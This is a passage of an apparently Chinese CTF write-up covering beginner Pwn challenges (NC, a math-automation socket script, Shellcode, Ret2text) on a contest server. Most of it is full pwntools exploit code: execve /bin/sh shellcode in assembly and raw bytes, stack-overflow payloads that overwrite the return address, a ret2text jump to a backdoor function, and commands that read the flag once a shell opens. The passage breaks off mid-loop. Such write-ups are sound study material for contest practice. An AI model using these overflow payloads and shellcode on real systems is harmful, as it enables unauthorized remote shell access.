# 如果有4个#,搜索空间:26×26×10×10 = 67,600
# 如果有3个#,搜索空间:26×26×10 = 6,760
print(f"如果4个#都替换:搜索空间 = {26*26*10*10:,}")
print(f"如果3个#替换:搜索空间 = {26*26*10:,}")

Pwn

NC

1
2
3
4
题目信息 - NC
出题人: Reinon | 难度: 基础

你的手速能否快过别人

用nc连接 shell看flag即可

image-20260110090553494

计算题

1
2
3
4
题目信息 - 计算题
出题人: Reinon | 难度: 简单

测试测试你的计算能力

python代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import socket
import re
import time

def solve_math_challenge(host='challenge.snige.cn', port=34562, total_rounds=50):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)

try:
sock.connect((host, port))
print(f"[+] Connected to {host}:{port}")

# 接收并丢弃开头的乱码 banner
time.sleep(0.5)
banner = sock.recv(4096).decode('utf-8', errors='ignore')
print("[*] Banner received (may be garbled)...")

round_count = 0

while round_count < total_rounds:
# 接收题目
data = sock.recv(1024).decode('utf-8', errors='ignore')
if not data:
break

print(f"[*] Received: {data.strip()}")

# 匹配题目格式 [Round XX] num1 + num2 = ?
match = re.search(r'\[Round \d+\]\s*(\d+)\s*\+\s*(\d+)\s*=\s*\?', data)
if match:
num1 = int(match.group(1))
num2 = int(match.group(2))
answer = num1 + num2
response = str(answer) + '\n'
print(f"[+] Round {round_count+1}: {num1} + {num2} = {answer}")

sock.send(response.encode())
round_count += 1
else:
# 如果没有匹配到题目,可能是中间的消息,继续接收
if 'Correct' in data or '閿欒' in data or '错误' in data:
continue
elif 'Round' in data:
numbers = re.findall(r'\d+', data)
if len(numbers) >= 3:
try:
num1 = int(numbers[-3])
num2 = int(numbers[-2])
answer = num1 + num2
response = str(answer) + '\n'
print(f"[+] Round {round_count+1} (fallback): {num1} + {num2} = {answer}")
sock.send(response.encode())
round_count += 1
except:
pass

# 重要:完成50轮后,继续接收服务器的最终消息(可能是flag)
print("\n[+] 50 rounds completed! Waiting for final message...")
time.sleep(1)
sock.settimeout(5)
try:
while True:
final_data = sock.recv(4096).decode('utf-8', errors='ignore')
if not final_data:
break
print("[*] Final message from server:")
print(final_data)
# 检查是否包含flag格式
if 'flag' in final_data.lower() or '{' in final_data:
print("\n[+] FLAG FOUND!")
except socket.timeout:
print("[*] No more data from server")

except socket.timeout:
print("[-] Socket timeout")
except Exception as e:
print(f"[-] Error: {e}")
finally:
sock.close()
print("[*] Connection closed")

if __name__ == '__main__':
solve_math_challenge()

Shellcode

1
2
3
4
题目信息 - Shellcode
出题人: Reinon | 难度: 简单

Shellcode 都需要我们输入什么?

这道题做的时候比较着急 直接嗦出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/usr/bin/env python3
from pwn import *
import sys

# 配置
context.binary = './shellcode'
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# 远程连接
def remote_exp():
host = 'challenge.snige.cn'
port = 22010

# 尝试不同payload
payloads = []

# 1. 简单shellcode (execve)
shellcode1 = asm('''
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f # /bin//sh
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
''')

# 2. 另一种shellcode
shellcode2 = asm(shellcraft.amd64.linux.sh())

# 3. 更小的shellcode
shellcode3 = asm('''
push 0x68
mov rax, 0x7361622f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
push 59
pop rax
syscall
''')

payloads = [shellcode1, shellcode2, shellcode3]

for i, shellcode in enumerate(payloads):
log.info(f"尝试payload {i+1}")

try:
# 连接到远程
p = remote(host, port)
p.recvuntil(b"Really?\n")

# 获取buff地址
# 从反汇编看到buff在0x404080
buff_addr = 0x404080

# 构建payload
# padding = 264 字节(根据工具检测)
padding = b'A' * 264

# 计算填充到272字节(read读取0x110=272字节)
# shellcode可能较小,需要填充
shellcode_padded = shellcode.ljust(256, b'\x90') # nop sled

# 完整的payload结构:
# [256字节shellcode区域][8字节填充][8字节返回地址]
payload = shellcode_padded + b'B'*8 + p64(buff_addr)

# 确保payload长度=272字节
if len(payload) > 272:
payload = payload[:272]
elif len(payload) < 272:
payload = payload.ljust(272, b'C')

log.info(f"Payload长度: {len(payload)}")
log.info(f"buff地址: 0x{buff_addr:x}")

p.send(payload)

# 尝试交互
p.sendline(b'id')
time.sleep(0.5)

try:
data = p.recv(timeout=2)
if data:
log.success(f"收到回显: {data}")
# 如果成功,进入交互模式
p.sendline(b'cat /flag* 2>/dev/null || ls -la')
p.sendline(b'pwd && whoami')
time.sleep(0.5)
print(p.recv(timeout=2).decode('utf-8', errors='ignore'))

p.interactive()
return True
except:
p.close()
continue

except Exception as e:
log.error(f"Payload {i+1} 失败: {e}")
continue

return False

# 本地调试
def local_exp():
elf = ELF('./shellcode')
p = process('./shellcode')

# 获取buff地址
buff_addr = 0x404080

# 使用shellcraft生成shellcode
shellcode = asm(shellcraft.amd64.linux.sh())

# 构建payload
# 需要正好272字节
payload = shellcode.ljust(256, b'\x90') # shellcode + nop sled
payload += b'B'*8 # 填充到264
payload += p64(buff_addr) # 覆盖返回地址

# 确保长度正确
if len(payload) > 272:
payload = payload[:272]

log.info(f"发送payload,长度: {len(payload)}")
log.info(f"buff地址: 0x{buff_addr:x}")

# 调试时可以attach
# gdb.attach(p, '''
# b *main+0x50
# c
# ''')

p.recvuntil(b"Really?\n")
p.send(payload)

p.interactive()

# 另一种方法:尝试找到精确的偏移
def find_offset():
# 模式字符串生成
from pwn import cyclic
pattern = cyclic(300)

p = remote('challenge.snige.cn', 22010)
p.recvuntil(b"Really?\n")
p.send(pattern)
p.close()

if __name__ == '__main__':
if len(sys.argv) > 1:
if sys.argv[1] == 'local':
local_exp()
elif sys.argv[1] == 'offset':
find_offset()
else:
print("用法: python3 exp.py [local|offset]")
else:
# 默认远程
if not remote_exp():
log.error("所有payload都失败了!")

# 尝试最终的方法
log.info("尝试最终方法:使用pwntools自动生成")
try:
p = remote('challenge.snige.cn', 22010)
p.recvuntil(b"Really?\n")

# 使用pwntools自动生成rop链
elf = ELF('./shellcode')
rop = ROP(elf)

# 由于buff可执行,最简单的方式还是shellcode
buff_addr = 0x404080

# 更可靠的shellcode
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

payload = shellcode.ljust(256, b'\x90')
payload += b'A'*8 # 填充
payload += p64(buff_addr)
payload = payload.ljust(272, b'B')

p.send(payload)
p.sendline(b'echo success')
time.sleep(0.5)
print(p.recv(timeout=2))
p.interactive()
except:
log.error("最终尝试也失败了")

Ret2text

1
2
3
4
题目信息 - Ret2text
出题人: Reinon | 难度: 简单

简单的Ret2text

Python代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
from pwn import *
import time

# 远程连接
p = remote('challenge.snige.cn', 35086)

# 接收提示
p.recvuntil(b"Tell me something:")
p.recvuntil(b"[>]")

# 关键地址
hackdoor_addr = 0x4011FB # hackdoor函数
ret_addr = 0x40101a # ret gadget (从你的分析中看到有0x40101a)

# 尝试不同的偏移量
# 因为buf在rbp-0x40,但可能有其他变量或对齐
offsets_to_try = [72, 80, 88, 96, 104]

for offset in offsets_to_try:
print(f"尝试偏移量: {offset}")

# 方案1:直接跳转到hackdoor(可能需要栈对齐)
payload1 = b'A' * offset + p64(hackdoor_addr)

# 方案2:加上ret gadget解决栈对齐
payload2 = b'A' * offset + p64(ret_addr) + p64(hackdoor_addr)

# 方案3:如果程序有canary,可能需要绕过(但你的分析没有显示canary)

# 先试方案2(更可靠)
p.send(payload2)

# 等待一下
time.sleep(0.5)

# 测试是否成功
try:
p.sendline(b'echo PWNED')
response = p.recv(timeout=1)
if response and b'PWNED' in response:
print(f"成功!偏移量: {offset}")
p.sendline(b'cat flag*')
p.sendline(b'ls -la')
time.sleep(0.5)
print(p.recv(timeout=2).decode())
p.interactive()
break
except:
# 重新连接
p.close()
p = remote('challenge.snige.cn', 35086)
p.recvuntil(b"Tell me something:")
p.recvuntil(b"[>]")